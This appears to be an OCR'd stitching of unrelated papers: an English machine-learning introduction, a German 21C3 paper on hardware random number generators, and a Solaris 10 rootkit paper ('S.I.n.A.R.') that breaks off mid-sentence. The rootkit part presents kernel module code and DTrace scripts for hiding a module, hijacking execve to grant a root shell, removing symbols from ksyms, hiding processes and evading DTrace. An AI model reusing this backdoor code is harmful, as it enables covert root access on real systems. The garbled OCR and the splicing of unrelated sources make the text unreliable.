Machine Learning research has been extremely active the last few years. The result
is a large number of very accurate and efficient algorithms that are quite easy to use
for a practitioner. It seems rewarding and almost mandatory for (computer) scientist
and engineers to learn how and where Machine Learning can help to automate tasks
or provide predictions where humans have difficulties to comprehend large amounts
of data. The long list of examples where Machine Learning techniques were success-
fully applied includes: Text classification and categorization [e.g. Joachims, 2001] (for
instance spam filtering), network intrusion detection [e.g. Laskov et al., 2004], Bioin-
formatics (e.g. cancer tissue classification, gene finding; e.g. Furey et al. [2000], Zien
et al. [2000], Sonnenburg et al. [2002]), brain computer interfacing [e.g. Blankertz
et al., 2003], monitoring of electric appliances [e.g. Onoda et al., 2000], optimiza-
tion of hard disk caching strategies [e.g. Gramacy et al., 2003] and disk spin-down
prediction [e.g. Helmbold et al., 2000]), drug discovery [e.g. Warmuth et al., 2003]),
high-energy physics particle classification, recognition of hand writing, natural scene
analysis etc.

Obviously, in this brief summary I had to be far from being complete and it can
merely serve as a starting point. I did not mention regression algorithms (e.g. ridge
regression, regression trees), unsupervised learning algorithms (such as clustering,
principle component analysis), reinforcement learning, online learning algorithms or
model-selection issues. Some of these techniques extend the applicability of Machine
Learning algorithms drastically and would each require an introduction for themselves.
I would like to refer the interested reader to two introductory books [Mendelson and
Smola, 2003, von Luxburg et al., 2004] which are the result of the last annual Summer
Schools on Machine Learning (cf. http://www.mlss.cc).
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1 Einfiihrung

Es gibt zwei Arten von Zufallszahlengeneratoren:

e Pseudozufallszahlengeneratoren, die Zufallszahlen berechnen und auch als eine endliche Folge von Zah-
len dargestellt werden konnen, also eine endliche Periode haben und leicht in Software realisiert werden
konnen.

e Echte Zufallszahlengeneratoren, die physikalische Zufallsprozesse in Zufallszahlen umsetzen und daher
eine unendliche Periodenlénge haben, also Hardware mit Rauschen benotigen.

Zudem gibt es Mischformen, beispielsweise ein Pseudozufallszahlengenerator, der bei jedem oder seinem ersten
Aufruf mit der Systemzeit (time(NULL)) initialisiert wird.

“Is there a need for True Random Numbers - produced by a Hardware Generator?

There is a DEFINITE NEED FOR DATA WITH ENTROPY NOT BASED ON ALGORITHMS. As to whe-
ther we need *true* random numbers, that’s a subject for debate. Typically we get data that’s as good as we need
it to be from a hardware generator by running the initial data (which may have some kind of pattern or bias)
through an algorithm which sort of mixes it. But it is very usefull to have this entropy come from a hardware
device, because it affords an EXTRA LEVEL OF SECURITY; pseudorandom numbers can be compromised if
the algorithm is known and the seed is discovered, but THERE IS NO SUCH EQUIVALENT FOR RANDOM
NUMBERS GENERATED BY A HARDWARE DEVICE.””

Moses Liskov (fag-editor@rsa.com) http://www.rsa.com/ year 2000

Neben der Entropie ist ein anderer wichtiger und verwandter Aspekt die Qualitit von Zufallszahlengenerato-
ren, zu der in den C-FAQ und den Numerical Recipes einiges steht:

“If all scientific paper whose results are in doubt because of bad rand()s were to disappear from library shel-
ves, there would be a gap on each shelf about as big as your fist.””

Numerical Recipes (in C), Chapter 7.1
Bei den Pseudozufallszahlengeneratoren muf3 deshalb immer ein Kompromifl zwischen Geschwindigkeit und
Qualitit gefunden werden.

Bei den echten Zufallszahlengeneratoren hingegen gibt es das Problem, dass sie im Vergleich zu Pseudozufalls-
zahlengeneratoren meist sehr langsam sind, wie man z. B. an /dev/random sieht.
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2 Theorie

Modulo-2-Summe von zwei Zufallsbits

Die Entropie einer Zufallsbitsequenz

E = —p(0)-log2(p(0)) — p(1) - log2(p(1)) (1)

ergibt sich aus der Wahrscheinlichkeit p(0) (abgek. x), dass ein Bit der Sequenz 0 ist und aus der Wahrschein-
lichkeit p(1) (abgek. 1-x), dass ein Bit der Sequenz 1 ist.

Damit ist es einfach, den Zuwachs an Entropie je Bit zu berechnen, den man erhilt, wenn man eine Bitfolge
mit einer anderen, statistisch unabhéngigen mit gleichen Wahrscheinlichkeiten (p(0) und p(1)) exklusiv verodert
und so eine sekundére Bitfolge durch bitweise Modulo-2-Addition bildet:

Ei—Ey=—(+(1-x)?%) loga(x* +(1-x)?) —2-x-(1 —x)-loga(2-x- (1 —x))
+x-loga(x) + (1 —x) - loga(1 —x) (2)

mit den Abkiirzungen x = p(0) und 1 —x = p(1).

Fiir nicht perfekt zufillige primédre echte Zufallsbitsequenzen, also 0 < x < 1, x # 0.5, ist dieser Zuwachs
positiv und groBer null, wie sich auch beim Auftragen des Zuwachses y = E| — E; iiber x = p(0) zeigt: (Abb.
1) Durch rekursive Anwendung ergibt sich hieraus, dass die Modulo-2-Addition von 2" (n > 0) statistisch un-
abhingigen Bitsequenzen mit gleichen Wahrscheinlichkeiten eine entropiereichere sekundire Bitsequenz ergibt,
die umso entropiereicher (=zufilliger) ist, je grofler n ist.

Weil die Gleichung 2 unabhéngig von den einzelnen Bits gilt, werden durch die Modulo-2-Addition auch die
Korrelationen innerhalb der sekundédren Bitsequenz abgeschwicht, sodass auch der Entropiebelag erhoht wird.
Wie sich numerisch leicht zeigen lésst, ist das Voraussetzen von statistisch unabhingigen Bitsequenzen mit glei-
chen Wahrscheinlichkeiten in der Regel nicht nétig. Dadurch ist es in der Praxis fast immer mdoglich, mittels
Modulo-2-Addition von 2" priméren Zufallsbitfolgen eine Zufallsbitfolge mit erhohter Entropie zu erzeugen.

0.24

0.154

E-E
1 2

0.1+

0.05 4

Abbildung 1: Entropiezuwachs durch Exklusiv-Oder-Verkniipfung von zwei Zufallsbits, aufgetragen iiber p(0)
(abgek. x).

on | 21C3 | ZufFallszahlengeneratoren WOl



0.2

0.15+

E-E

0.1

0.05

Abbildung 1: Entropiezuwachs durch Exklusiv-Oder-Verkniipfung von zwei Zufallsbits, aufgetragen iiber p(0)
(abgek. x).

Wahrscheinlichkeit Ereignis
2/3%x2/3=4/9  0O0exor0=0 3)
2/3%x1/3=2/9 Oexor1=1 4)
1/3%x2/3=2/9 1exor0=1 ®))
1/3%x1/3=1/9 lexor1=0 ©6)

Insgesamt also: Zu 5/9 Nullen und zu 4/9 Einsen; die Abweichung von der Gleichverteilung wurde durch das
EXOR um 2/3 reduziert.

Modulo-2-Summe von n Zufallsbits und der zentrale Grenzwertsatz

Nach dem Zentralen Grenzwertsatz ist die Wahrscheinlichkeitsdichte der Summe s von n > 1 echt zufilligen
Bits die Normalverteilung, weil eine Summe von Bits automatisch die Lindebergsche Bedingung erfiillt. Der
zentrale Grenzwertsatz gilt zwar genau genommen nur fiir unendliches n, aber er ist meist schon bei ungefihr 10
in guter Ndherung giiltig.

Liegt das Maximum der Normalverteilung p, bei exakt m+0,5 (m € IN), dann ist die Amplitude der Normal-
verteilung bei m + 0,5 — k/2 dieselbe wie bei m +0,5 + k/2. Weil die Modulo-2-Summe bei m +0,5 — k/2 und
m+0,5+k/2 einmal 1 und einmal 0 ist, bedeutet dies, dass sich fiir jeden k-Wert, und damit auch fiir die gesamte
Summe, eine 50 % Wahrscheinlichkeit fiir eine O und eine 1 ergibt. Dies ist der “best case”, denn es bedeutet,
dass die Modulo-2-Summen-Bits (Sekundérbits) eine Entropie von 1,0 Bit/Bit besitzen.

Im “worst case” liegt das Maximum der Normalverteilung p, bei m (m € IN), und der Betrag der Differenz der
‘Wahrscheinlichkeit, dass die Modulo-2-Summe null ist minus der Wahrscheinlichkeit, dass die Modulo-2-Summe
eins ist, ergibt sich zu:
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(2-k—1)> (2-k)*
2.62 _,o 2-02 ) 7)

1 oo
0) —p(1) |worst case= —— -2~ E e
|p< ) P( )‘wwvtcave G-\/Z'—TI: &

Die Standardabweichung G ist proportional zu \/n (“ars conjectandi”), sodass 6 = ¢ \/n mit der Konstanten
c eingesetzt werden kann:

(2-k—1)* (2-k)*
e 2:¢2n —e¢ 2-¢2n| . (8)

N agki

| p(O) —p(l) |worsl case= C\\/fl% ’

k=1

Dieser Ausdruck sinkt streng monoton mit steigendem n und der Grenzwert fiir n — oo ist null (Abb. 2).
Somit ergibt sich also auch im “worst case” aus mehreren priméren echt zufilligen Bits mit wenig Entropie
mittels Modulo-2-Addition ein sekundéres echt zufilliges Bit mit mehr Entropie.

0,2

IP(0)-p(1)I
0,14

0,07

0,04

5 10 50 100 500

Abbildung 2: Entropiezuwachs durch Exklusiv-Oder-Verkniipfung von n Zufallsbits im “worst case”, aufgetragen
iiber n.

Der Vorteil hierbei ist, dass die primiren Bits nicht statistisch unabhiéngig sein miissen und zudem die Summe
auch Pseudozufallsbits enthalten kann, wenn ausreichend viele echte Zufallsbits in der Summe enthalten sind.
Dadurch konnen mit Pseudozufallsbitgeneratoren gezielt statistische Auffélligkeiten der echt zufélligen Bits be-
seitigt werden.

Weil die Gleichung 8 unabhiingig von den einzelnen Bits gilt, werden durch die Modulo-2-Addition auch die
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Korrelationen innerhalb der sekundiren Bitsequenz abgeschwicht, sodass auch die Markov-Entropien erhoht
werden.

3 Praxis

Im Prinzip kann eine azyklische Zufallsbitfolge schon dadurch erzeugt werden, dass ein Signal mit der (Wiederhol-
)Frequenz f] von einem Oszillator erzeugt wird und dieses Signal mit einer Frequenz f, von einem anderen Os-
zillator abgetastet wird. Diese Abtastwerte in digitaler serieller Form bilden eine Zufallsbitfolge, die azyklisch
ist, wenn f] und f, inkommensurabel sind, es also keine natiirlichen Zahlen n und m gibt, sodass n- f| =m- f»

erfiillbar ist. Diese Bedingung ist gleichbedeutend damit, dass ﬁ keine rationale Zahl ist und deshalb fast immer
2

erfiillt ist, weil f] und f> im Allgemeinen irgendwelche reellen Zahlen sind (woraus folgt, dass auch ﬁ irgendeine

reelle Zahl ist), und weil bekanntlich fast alle reellen Zahlen irrational sind, da die Menge der rationzalen Zahlen
eine Lebesgue-Nullmenge ist.

Obwohl also die Wahrscheinlichkeit fiir n- fj = m- f> gleich null ist, zeigt sich in der Praxis aber, dass die Qualitét
der so erzeugten Zufallszahlen relativ schlecht ist, weil sie im Wesentlichen von dem Rauschverhalten der beiden
Oszillatoren bestimmt wird, und Oszillatoren in der Regel relativ rauscharm sind.

Deshalb sind, in einer Taktperiode, meist viele solche Zufallsbits notig um mittels EXOR, das normalerweise
mit einem Paritdtsgenerator berechnet wird, ein (nahezu) perfekt zufilliges sekundires Zufallsbit zu erzeugen.
Um den Aufwand gering zu halten, konnen einige wenige der priméren Zufallsbits auch Pseudozufalls-Bits aus
Schieberegister-Generatoren sein, weil sie die Qualitit der sekundidren Zufallsbits nicht verschlechtern (siehe
Lindeberg-Kriterium).

Eine andere Moglichkeit ist Rekursion, die in vielen Variationen mit wenig Aufwand realisiert werden kann. Im
einfachsten Fall wird einfach das sekundire Zufallsbit iiber ein D-Flip-Flop auf den Parétsgenerator gegeben, der
das sekundére Zufallsbit berechnet.

Loten

Der Aufbau von solchen echten Zufallszahlengeneratoren ist sehr einfach, weil sie 100 % digital sind. Als di-
gitale Rauschquelle dient z. B. ein invertierender Schmitt-Trigger wie 1/6 74HCT14, dem ein D-Flip-Flopp wie
z. B. 1/8 74ACT157 nachgeschaltet ist, um die Zufallsbits synchron zum Takt weiter verarbeiten zu kdnnen.
Beim invertierenden Schmitt-Trigger (IST) ist der Eingang auf den Ausgang zu 16ten (Ringoszillator der Lénge
1) und brachliegende ISTs konnen als Ausgangsstufe mit zusétzlicher Phasenverschiebung genommen werden.
Von einem IC wie dem 74HCT14 konen zumindest zwei Schmitt-Trigger verwendet werden, weil die Schmitt-
Trigger zumindest in solchen ICs halbwegs unabhéngig voneinander mit ca. 90 MHz schwingen. Die so erzeugten
priméren Zufallsbits gehen anschlieBend auf den Paritétsgenerator, z. B. 1/9 74F280 und hiernach wieder auf ein
D-Flip-Flop wie z. B. 1/8 74ACT157. Eine kleine Version mit bis zu 6 priméren Zufallsbits bekommt man also
schon mit einem 74HCT14, 74ACT157 und einem 74F280 fiir rund ein Euro hin und kann damit sogar noch
Varianten wie Riickkoppeln des Ausgangs auf den Paritdtsgenerator mit einem Takt Verzogerung realisieren.
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4 Schluf3

Zum Testen von echten Zufallszahlengeneratoren eignen sich nicht nur Tests mit Software sondern auch Auto-
und Kreuzkorrelatoren sowie FFT-Spektrometer, die im selben Chip integriert werden konnen um damit beispiels-

weise eine Echtzeit-Selbstdiagnose vorzunehmen, die auch Chip-intern geloggt werden kann.

Die zuverlédssige und schnelle Erzeugung von echten Zufallszahlen ist deshalb sowohl theoretisch als auch
technisch weder schwer noch teuer, aber trotzdem werden in der Praxis echte Zufallszahlengeneratoren sehr selten
eingesetzt, weil entweder Pseudozufallszahlengeneratoren meist ausreichen oder /dev/random schnell genug ist.
Deshalb ist das Herstellen von Zufallszahlengeneratoren eine brotlose Kunst, denn es gibt dafiir relativ wenig

Nachfrage, die zu 50 % von Parapsychologen mit schlechter Zahlungsmoral stammt.

Die Firma, in der ich nach der Uni gearbeitet habe und die auch die Zufallszahlengeneratoren verwendet hat,

Kryptografix, ging schon nach 6 Monaten in Konkurs und derzeit suche ich auch wieder einen Job!

5 Literatur, Links

Ouj

Mail-Adr. auch fiir Kommentare u. Anregungen: rolf.freitag @email.de

Literatur: Buch Linux Device Drivers / Linux Gerétetreiber, Buch
Anwendungen entwickeln unter Linux, Buch Linux Treiber Entwickeln,
(Kernel-)Sourcen, Howtos wie das Linux I/O port programming mini-HOWTO.

Link z. Vortrag: ftp://random.linux-site.net/21C3/

Dissertation mit Kapiteln zum Thema: http://www.nefkom.net/nobody/doct.pdf
Mirror: ftp://random.linux-site.net/doct/doct.pdf

Kurze Beschreibung einer mef3technischen Anwendung von Zufallszahlengeneratoren:
http://web.archive.org/web/20010404075108/hlhp1.physik.uni-ulm.de/ freitag/

Einige meiner Zufallszahlengeneratoren:
http://web.archive.org/web/20010415015513/hlhp1.physik.uni-ulm.de/ freitag/Spinoffs.html

Kleiner Artikel zur Theorie in Englisch:
ftp://random.linux-site.net/random/exor.pdf
ftp://random.linux-site.net/doct/azycl1.pdf

Patent auch mit Schaltplanen:

ftp://random.linux-site.net/pat/zufpat1.jpg
ftp://random.linux-site.net/pat/zufpat2.jpg
ftp://random.linux-site.net/pat/zufpat3.jpg
ftp://random.linux-site.net/pat/zufpat4.jpg
ftp://random.linux-site.net/pat/zufpat5.jpg

Diehard-Tests fiir Zufallszahlen: http://stat.fsu.edu/"geo/diehard.html
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e Fips-Tests fiir Zufallszahlen: http://csrc.nist.gov/publications/fips/fips 140-2/fips1402.pdf

Anmerkung: random.linux-site.net ist langsam weil stark limitiert beziiglich Gesam-Bandbreite, Bandbrei-
te pro Verbinung, Anzahl Gesamt-Verbindung und Anzahl der Verbingungen pro User, so dass ein Download-
Manager wie wget empfohlen wird.

6 Experimentalzirkus

Spektrum von rw2 (Mono—Ausgang, 7,4MHz Takt)
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7 Anhang

Entropiebelag: Die Entropie pro Symbol in einer Markow-Kette, denn ein echter Zufallszahlengenerator ist ein
Markow-Prozess, siehe H. Volz: Grundlagen der Information, Akademie Verlag, Berlin, 1991, Kapitel 1.2.5..
Praktisch verwendet werden aber nur Tests, die einige Eigenschaften relativ kurzer Zufallszahlenreihen testen
und wegen den statistischen Fluktuationen zwangsldaufig immer mal wieder falsch-positive und falsch-negative
Testresultate liefern.

Kontinuierliches Amplituden-Spektrum eines perfekten Zufallsbitgenerators

sin(%)

. 2(=n) 7
NOEDY - ©)
n=1

Es ist im Wesentlichen ein sin(f/ fy)/f-Sprektrum mit fo=Taktfrequenz.

Spektrum von rw2 (Mono—Ausgang, 7,4MHz Takt)

1300
£ 1000

100

Spannung / uV/sqrt(Hz) an 50 Oh

10 1 II|IIII| 1 II|IIII| 1 II|IIII| 1 II|IIII| 1 II|IIII| 1 II|III|

1075 1074 0.001 0.01 0.1 1 10

f / MHz
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Welcome to S.I.n.A.R.

Introduction:

This paper documents the features that make Solaris 10 the rootkit writers friend,.We mainly will be
assuming a SPARC system however it is 90% directly portable to x86 version of Solaris. As with all good
kernel code, you just need a compiler for the platform and the source with a few tweaks. This document also
has an accompanying talk and set of slides which, when combined, give the viewer a fairly good grasp on a
couple of the new features of Solaris 10.

I have looked into kernel based rootkits for Solaris for a couple of years. It wasn't until June 2004 I
made the decision to dedicate time into specifically targeting the platform. As is evident in the very limited
number of articles regarding solaris rootkit's. No-one seems to have done it “properly”. I thought it was time
that the situation changed.(This is not to say that I don't acknowledge that plasmoid of T.H.C. has looked at
it in his own paper, but it's not great).

I have not included the latest code for the rootkit (smaller variants do exist). Nor have I stuck to one
single development method for this release. I believe that diverse methods are key to change. There are
several ways you can change what I present here to make it far less dependant upon having Dtrace
embedded into the build script. I leave that for your education.

What this document will cover is:
Unlinking from the module list.
Decrementing the Module ID.
Hiding from the Kernel Symbol Table.
Hiding from Dtrace.
Hiding Processes without changing getdents().
Hijacking Execve without changing sysent[].

All of these have implications for the Solaris Administrator.

I would apologise to anyone who doesn't like me writing this paper but I'm not going to.
This code does not exploit “security” vulnerabilities in Solaris 10 therefore I do not see a need for a
notification time. A key to rootkit development is knowing that it's not just the remote “Hacker” who is the
threat. There is a greater threat from the inside than ever before.

Anyhow, you can't just “patch” the kernel to stop what we are about todiscuss. it's all rather
integral. I could have a moral battle with myself and not release this. [ am releasing this but as such I
condemn it's use against a corporation, government or individual. I also have left the odd “bit” here and
there needing modification. If you know C and pay attention you will be just fine. (As an alternative, you
could find me and buy me a couple of beers).
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The Business side:
My specification for a new backdoor is that it MUST be able to spawn a root shell for any non-root
user who can get an interactive shell. Anything else is a bonus.

The very first thing that must be done upon loading a module is that it must be hidden from the
administrator. Modinfo lists the modules loaded and known to the system (depending on it's invocation), it
is the Solaris version Of ‘Ismod" on Linux.

What details are visible from modinfo:
-bash-2.05b# modinfo -c | head -3

Id Loadcnt Module Name State
0 1 unix LOADED/INSTALLED
1 1 krtld LOADED/INSTALLED

We have a module Id, a Load count, the Module Name and then the state of the module.

Under Linux, especially the 2.6 family of the Linux kernel. The only thing you have to do for removing a
module from the administrator's eyesight is to remove it from the module_list.

When a module is loaded under Solaris, it is assigned a module ID for the session and linked into the list of
modules.

If a module is unloaded, it keeps it's ID and the last module id integer which is located in memory is not
decremented, creating a problem that will become evident.

Looking into modctlLh:

struct modctl {
struct modctl  *mod_next; /ELLE
struct modctl  *mod_prev;

I am not about to explain about the simple manipulation of linked lists (if this is something you don't
understand I imagine you could do with reading more). Taking this on board, the use of the following code
as part of out kernel module will remove us from the linked list:

module_structure->mod_prev->mod_prev->mod_next = module_structure;
module_structure->mod_prev = module_structure>mod_prev->mod_prev;

We have removed ourselves from the Module list, in a much more effective manner than using “” as a
module name. The next problem occurs when we look a bit harder at what modinfo reports after we have
been unlinked.

-bash-2.05b# modload sinar.

-bash-2.05b# modinfo

1d Loadaddr Size Info Rev Module Name

160 1276450 28c - 1 RT DPTBL (realtime dispatch table)
161 7bf3e410 1584 - 1 bufmod (streams buffer mod)

We were safe to assume that the module would be removed from this list following our list manipulation
code. There is however another problem that needs to be addressed:

-bash-2.05b# modinfo

1d Loadaddr Size Info Rev Module Name

161 7bf3e410 1584 - 1 bufmod (streams buffer mod)

163 7bff9038 b60 72 1 ksyms (kernel symbols driver 1.27)

-bash-2.05b#

When another module is loaded into the kernel after our code, the module ID is off by one, this is a pretty
obvious indicator that something is wrong.
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*#4% DRUM ROLL PLEASE ****

Ladies and Gentlemen, It is my pleasure to introduce to you:

“ Dtrace

Let me be quite frank about this. Dtrace is brilliant. I believe that any serious Solaris Administrator (or
exploit writer/kernel coder/intrigued person) will find it massively useful. (as a tangent it even allows you to
see userland calls to routines such as strcpy and access the parameters which are passed for any PID which
is specified, VERY COOQOL!).

[Quote from sun.com](Dtrace handbook Beta version)

“DTrace is a comprehensive dynamic tracing facility that is built into Solaris that can be used by
administrators and developers on live production systems to examine the behaviour of both user programs
and of the operating system itself. DTrace will allow you to explore your system to understand how it
works, track down performance problems across many layers of software, or locate the cause of aberrant
behaviour. ”

I am not going to give a tutorial on Dtrace, SUN do that brilliantly in:

http://docs.sun.conm/db/doc/817-6223

In the presentation slides there is a larger insight into Dtrace and it's use to access functions.
Where is the relevance to our search for kernel hiding goodness (mmmmm fresh kerrrrrrnel)?
One of the many features of Dtrace is that it allows you to access exported kernel variables.

(For an official version of just what can be done with external variable access see section 3.6 of the above
text).

The New Mantra:
while 1:
“T will use Dtrace, I will love Dtrace”

On your solaris 10 machine enter the following script:

“extern.d”
dtrace:::BEGIN

{

printf("\nlast module ID = %d (located at: 0x%p)\n", last module id,(long *)& last module id);
exit(0);

/

Then execute it:
-bash-2.05b# dtrace -s extern.d
dtrace: script 'extern.d' matched 1 probe

CPU ID FUNCTION:NAME

0 1 :BEGIN
last module ID = 172 (located at: 0x18ab934)
-bash-2.05b#
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Now we know the address of the variable, we can pass it's address to the compiler and module and
manipulate it's value from there:

int * kmodidptr = KMID;
*kmodidptr = *kmodidptr — 1;

What we get when we compile and load this module and load in a module after unlinking and decrementing
is the following:

159 7bat6ea78 1584 - 1 bufmod (streams buffer mod)
160 7bff9038 b60 72 1 ksyms (kernel symbols driver 1.27)
-bash-2.05b#

so we have solved that problem thanks to SUN, Dtrace and a bit of lateral thinking (Other decrements are
available (T.M.)).

Hijacking execve:

bash-2.05b8 grep SYS exec /usr/include/sys/*
/usr/include/sys/syscall. h:#define ~ SYS exec 11
/usv/include/sys/syscall. h:t#define  SYS execve 59
bash-2.05b$

Well, this leaves us with a nice friendly method to access system call interrupts;
Before we can do this, what is the structure of the Solaris 10 System call table, what type of data does this

represent and how (above all, can we toy with it.)

systm.h:struct sysent {

char sy_narg; /* total number of arguments */
[-]

int (*sy call)();  /* argp, rvalp-style handler */
krwlock t *sy lock; /* lock for loadable system calls */
int64 _t (*sy_callc)(); /* C-style call hander or wrapper */
b

we are interested in the sy callc part (sy_call being phased out over time);
So it is back to good old Dtrace to check our theory that sy callc should hold the address of the handler.

dtrace:::BEGIN

{

ptr = (long *) & ‘exec;

printf("\nsysent[11]: Ox%p\n", sysent[11].sy callc);
printf("Exec at: Ox%p\n",ptr);

exit(0),}

-bash-2.05b# dtrace -s exec.d
dtrace: script 'exec.d’' matched 1 probe
CPU ID FUNCTION:NAME
0 1 :BEGIN
sysent[11]: Ox10b87ac
Exec at: 0x10b87ac
That confirms that we have a system call entry exported and we can use the sysent array just like we would
from inside the kernel (did we discuss how nice Dtrace is lately?).
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However we are more interested in SYS execve as all exec(lle[v)'s lead to SYS_execve eventually.

As we can index sysent, we toddle off back to Dtrace:
dtrace:::BEGIN

{

printf("\nsysent [59]: O0x%p\n", sysent[59].sy callc);
/

-bash-2.05b# dtrace -s execve.d

dtrace: script 'execve.d' matched 1 probe

CPU ID FUNCTION:NAME
0 1 :BEGIN

sysent[59]: 0x10b87bc

[ tawt i taw a putty cat!!

There are several ways of modifying the system entry table, just as on any operating system which uses
system calls. (Heathen non-system call based OS' not being worth the time and effort to look at, that's not
true there just isn't the finance in place to purchase tools such as softice.). By far the easiest for kids to grasp
is just swapping the value of the pointers. If I wasn't me then that is where I would leave it, however later on
we will cover one of the other ways.

Before we can swap pointers it will help if we have somewhere to point to. We create a wrapper function for
execve.

#define RK EXEC KEY “./sinarrk”
#define RK EXEC KEY LEN 9
#define RK EXEC SHELL “/bin/bash”

int64_t sinar execve(char *fname, char **argv, char **envp)

{

int error;

pathname tn_pn;

pn_get((char *)fname, UIO_USERSPACE, &n_pn);

if(strncmp(RK_EXEC KEY,n pn.pn path, RK EXEC KEY LEN) == 0)
{

curproc->p_cred = crdup(kcred);

// populate fname with our required shell to execute.

ddi_copyout(RK EXEC SHELL,fname,RK EXEC KEY LEN,0);

error = exec_common(fname, argv, envp);
return error;

/
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Parts to note:

pn_get. This copies the pathname of the executing binary into the pathname structure from user memory
(otherwise you will fault for trying to access user memory from kernel memory.).

We then compare the pathname to a defined key using string compare. If there is a match, we take the kernel
credential structure and copy it to our current process credentials. At this point anything we do is going to be
done as root. Having made sure that the shell we want to execute as root is set with the same length of string
as the key we use to recognise us. We use ddi_copyout to put the kernel memory into userland.

Then call exec_common as normal.

Pointer replacement does work easily, and it is good for “quick and dirty” hacks. What we need to bear in
mind is that Dtrace is an “Administrators tool” and as such we may as well give them something to use.

for example:

#! /usr/shin/dtrace -qs
dtrace:::BEGIN

{

printf("'sysent[%d] = 0x%p\n",$1, sysent[$1].sy_callc);
exit(0);

/

then you can automate this script with a short shell script. I use python out of preference:
“syscall_snake.py”
import sys,o0s

def main():
print "Getting addresses\n"
x=0;
while x <= 255:
os.system("/D/sysent.d " + str(x));
x+=1;

main();
That gives you something to work on, if you redirected output to a file you could then parse it and create

md5 hashes of each values. All you system admins who have got into the conference do need to realise that
there have been collisions found in MD5, maybe someone will discuss that on the Crypto/Science Track.
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Hiding from Ksyms

When we have loaded our module, if you search /dev/ksyms for strings you will see if you grep for the
names of your functions within the module that they are in the kernel symbol tables, this is an obvious
disadvantage as it means chkrootkit could find us. (“Oh no, mommy I'm so scared!”).

-bash-2.05b# modload sinar.

-bash-2.05b# strings -a /dev/ksyms | grep sinar_exec
sinar_execve

-bash-2.05b#

/dev/ksyms is a pseudo device which creates a snapshot of the kernel syms at the time you want to look at it:

In the event that you don't believe me:
“ksyms.d”
dtrace:::BEGIN

{printf("\n");}

Jfbt:genunix:ksyms_snapshot:entry

{printf("\n");

printf("rEEEREkSTART ksyms_snapshot %k y ).
printf("argl: 0x%p\n",arg0);

printf("arg2: Ox%x\n",argl);

printf("arg3: Ox%p\n",arg2);

prinzf‘("***********END ksyms_snapShot **************\n’Q’}

Set that running and then do something like:
strings /dev/kyms | head -1

To solve this little frustration you can try compiling the module to assembler output then modifying the
“.common” entries and any other “tell-tale” signs of the code. This doesn't work. For the simple reason that
the kernel linker has to be able to link you into the kernel. If it has no symbols to link in then it isn't going to
get very far.

Ksyms could be gone through manually to hide the symbols by NULL-ing them out (carefully, I am not
covering that here!). However as friends you get the good juicy bits.

My method is to call kobj_sync(); from within your kernel module.

If you do this at the right time. You will find that the symbols are no longer exported to the world.

Why does this work? The original KSYMS memory gets copied and new snapshot is created to store the
kernel symbols. That memory is populated by using currently loaded modules on the module list and
extracting their symbols (as you would expect for a dynamic structure really).

How does this help us?
As we know that we do not necessarily have to appear on the module list, when the sync function does it's
business we are neglected and our symbols are not added into the snapshot.
Hence, we are no longer a set of kernel symbols. (HURRAH!);
the proof:
-bash-2.05b# strings -a /dev/ksyms | grep n_execve
-bash-2.05b#

Where are we now? We have a loadable module and a ksyms free from our nefarious symbols. OK, we have
violated the system entry array. However let's face it, if we have got to the stage of installing a rootkit in the
first place the admin. is unlikely to have a script checking the system entry table. Until they suspect a
compromise.
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Hiding Processes without modifying getdents().

How can we “hide” a process on a solaris 10 system?

It is possible to dig into the process and scheduling of the Solaris system. However where these implement
linked lists it is not feasible to just remove a process from a process list. Anyone familiar with implementing
or working with scheduling will realise that a process not known to the schedular does not exist. As such, it
is not feasible to have a running process (ie. A shell) that is not a part of the schedular.

I don't like modifying anything that I don't have to. Therefore we will look at the process data structure for
clues on how to hide processes themselves.

typedef struct proc {

[-]
pid t p ppid; /* process id of parent */
[-]
struct sess  *p_sessp; /* session information */
struct pid *p pidp; /% process ID info */
struct pid *n pgidp; /* process group ID info */
[-]
Within a proc _t is a struct pid. This structure contains the following:
struct pid {
unsigned int pid_prinactive :1;
[-]
pid_t pid id;
[-]
};

Inactive processes are of course not active, therefore they won't be shown. (logical eh?!)

The following will mark us as inactive:
proc->p_pidp->pid_prinactive = 0;

It is important to set the process inactive after exec_common (otherwise it will be changed by the executing
function and be “normal”.)

Demonstration:
bash-2.05b8 id
uid=100(mark)
bash-2.05b$ ./sinarrk
sinarrktt id
uid=0(root) gid=0(root)
sinarrki# ps
PID TTY TIME CMD
554 pts/5 0:00 ps
sinarrk# echo $$
552

You can see the process from the kernel debugger however.

That should at least give admins some hope. But then again, nothing has ever been totally undetectable and
still able to be used on multiple platforms and architectures with just a recompile.
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The Dangers of B.D.S.M.

Fixing what we broke:

From the initial part of the document, several things became apparent (as I imagined they would
once I had actually got going into it.). Mainly that what we have currently, doesn't do the job properly.

The major problem with the previous section of the article is that it is spotted by dtrace -1, or in the times
when you can't read it off the end of the tbt module list, your system dies. (rather spectacularly I might
add.).

I use Dtrace to get the addresses of kernel symbols, if you want to streamline your rootkit/kernel code, you
should also look into kobj getsymvalue(). For the purposes of ease of readability, I will stick to Dtrace
copy/pastes.

Hiding from Dtrace:

“To wit: I now have had not one but two software vendors tell me that I must add a way to disable
DTrace for their app to prevent their own customers from observing their software. They're not even
worried about their competitors -- they're too busy screwing their own customers! (Needless to say, their
requests for such a feature were, um, declined.)”

-- Source “http.//blogs.sun.com/bmc”

Where does this problem lie? What causes it? And how can we solve it so that we are not worried about
showing up in dtrace listings. (How embarrassing would that be when trying to look like we know what we
are doing!?!).

Initially I thought the problem was being caused by the code that marks the process as inactive.

The problem lay in Dtrace itself. When Dtrace lists it's objects (by calling ioctl amongst other things) it
“probes” them and at that point in time, because we were unlinked, the system fell over (NULL pointers
and functions in the kernel are never a good idea.).

From the SUN Dtrace manual (the fbt provider chapter). We see (as if it wasn't already pretty bloody
obvious) that the fbt provider handles newly created modules. It will, when a module is loaded, create
entries for module related functions. This is because Dtrace is there to allow access to as much of the
system as possible in a “safe” way (*shudder*).

As with most things where you have lots of structures of the same type, Dtrace implements several linked
lists. These can be read from include/sys/dtrace.h and include/sys/dtrace impl.h
Of course as good little code gremlin's we would never do anything wrong with a linked list would we?

Just as with unlinking the modules from the modctl list, we would think that if we can find the list
containing the entries for our module that we could do a neat “nip and tuck” and voila.

I am sure that I will have to modify the above when SUN release the Solaris 10 Source. However until
SCO teaches pigs how to fly for Linux user bombing runs, I think “understanding” the Solaris kernel will
stay in the realms of the few. That is not a complaint. Welcome to the few.
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What can we grasp from the headers?

Dtrace uses “hashes”, these hash functions aren't exported. However if you ::dis various dtrace objects
(with the dtrace module loaded for mdb -k) you will see references to hash functions. All that this means
is that to use them (or any other non-exported function which you know the address of) you only need a
